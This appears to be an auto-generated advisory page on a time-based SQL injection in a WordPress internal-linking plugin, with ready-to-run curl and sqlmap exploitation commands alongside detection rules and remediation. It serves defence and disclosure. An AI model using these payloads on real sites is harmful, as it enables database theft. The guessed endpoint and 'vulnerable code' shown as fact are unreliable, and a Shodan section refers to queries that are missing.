CVE-2024-11009
Executive Summary
CVE-2024-11009 is a time-based SQL Injection vulnerability in the WordPress plugin "Internal Linking for SEO traffic & Ranking – Auto internal links (100% automatic)" (slug: auto-internal-links). The flaw exists in all versions up to and including 1.2.1. An authenticated attacker with Administrator-level privileges can exploit the post_id parameter to inject malicious SQL queries, leading to the extraction of sensitive information from the database. The vulnerability is classified as medium severity (CVSS 4.9) due to the high privileges required, but the potential impact on data confidentiality is significant.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the plugin vendor. No official patch has been released as of the analysis date.
CVSS Breakdown & Threat Level
- CVSS Score: 4.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The threat level is elevated for WordPress sites where administrative accounts are compromised or where multi-tenant environments allow lower-privileged users to escalate to admin roles.
Deep Dive & Mechanics
The vulnerability resides in the plugin's handling of the post_id parameter, likely within an AJAX handler or admin page that processes internal link updates. The plugin fails to properly escape user-supplied input and does not use prepared statements for SQL queries. This allows an authenticated administrator to inject time-based SQL payloads.
Root Cause:
- Insufficient input sanitization on the
post_idparameter. - Lack of parameterized queries (prepared statements) in the SQL execution.
Attack Flow:
- An attacker with admin credentials sends a crafted HTTP request to the vulnerable endpoint.
- The
post_idparameter contains a time-based SQL injection payload (e.g.,1 AND SLEEP(5)). - The plugin concatenates this input directly into an SQL query.
- The database executes the injected query, causing a delay if the condition is true.
- The attacker can infer database structure and extract data by observing response times.
Example Payload:
post_id=1 AND (SELECT IF(1=1,SLEEP(5),0))
Vulnerable vs. Patched Code
Vulnerable Code (v1.2.1):
$post_id = $_POST['post_id'];
$query = "SELECT * FROM wp_posts WHERE ID = " . $post_id;
$result = $wpdb->get_results($query);
Patched Code (Hypothetical):
$post_id = intval($_POST['post_id']);
$query = $wpdb->prepare("SELECT * FROM wp_posts WHERE ID = %d", $post_id);
$result = $wpdb->get_results($query);
The patched version uses intval() to cast the input to an integer and $wpdb->prepare() to safely bind the parameter, preventing SQL injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with plugin v1.2.1 installed.
- Administrator credentials.
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=auto_internal_links_update). - Craft a time-based SQL injection payload:
curl -X POST 'http://target/wp-admin/admin-ajax.php' \ -d 'action=auto_internal_links_update&post_id=1 AND SLEEP(5)-- -' \ --cookie 'wordpress_logged_in_xxx=admin_cookie' - Observe response delay to confirm injection.
- Extract data using blind SQLi techniques (e.g.,
IF(SUBSTRING(...),SLEEP(5),0)).
Automated Tool (sqlmap):
sqlmap -u 'http://target/wp-admin/admin-ajax.php?action=auto_internal_links_update' \
--data='post_id=1' --cookie='wordpress_logged_in_xxx=admin_cookie' \
--level=5 --risk=3 --dbms=mysql --technique=T
Blue Team (Defensive)
Detection:
- Monitor for unusual
post_idvalues containing SQL keywords (AND, OR, SLEEP, BENCHMARK). - Alert on HTTP requests to
/wp-admin/admin-ajax.phpwithaction=auto_internal_links_updateand abnormal response times.
Honeypot:
- Deploy a fake WordPress instance with the vulnerable plugin to capture attacker behavior.
Indicators of Compromise (IOCs)
Network:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=auto_internal_links_updateandpost_idcontaining SQL keywords. - Response times exceeding normal thresholds (e.g., >3 seconds for simple queries).
- HTTP POST requests to
Logs:
- WordPress debug log entries showing SQL errors with injected syntax.
- Database query logs with
SLEEP()orBENCHMARK()functions.
File System:
- Modified plugin files (e.g.,
auto-internal-links.php) containing backdoors.
- Modified plugin files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_11009_WordPress_Plugin_SQLi {
meta:
description = "Detects SQL injection attempts against auto-internal-links plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-11009"
strings:
$sqli1 = /post_id\s*=\s*[0-9]+\s*(AND|OR)\s+/i
$sqli2 = /SLEEP\s*\(/i
$sqli3 = /BENCHMARK\s*\(/i
$sqli4 = /UNION\s+SELECT/i
condition:
any of ($sqli*) and filesize < 10KB
}
Sigma Rule
title: CVE-2024-11009 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects time-based SQL injection attempts against auto-internal-links plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=auto_internal_links_update'
cs-uri-query|contains|all:
- 'post_id='
- 'SLEEP'
condition: selection
falsepositives:
- Legitimate admin testing
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-11009 SQL Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=auto_internal_links_update";
http_client_body;
pcre:"/post_id\s*=\s*[0-9]+\s+(AND|OR)\s+/i";
pcre:"/SLEEP\s*\(/i";
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict admin access to trusted IPs only.
- Review admin activity logs for suspicious SQLi attempts.
Long-term Fix:
- Apply input validation and prepared statements (as shown in patched code).
- Update to the latest version once the vendor releases a fix.
Workaround:
- Use a Web Application Firewall (WAF) to block SQLi patterns.
- Implement a WordPress security plugin (e.g., Wordfence) with SQLi rules.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.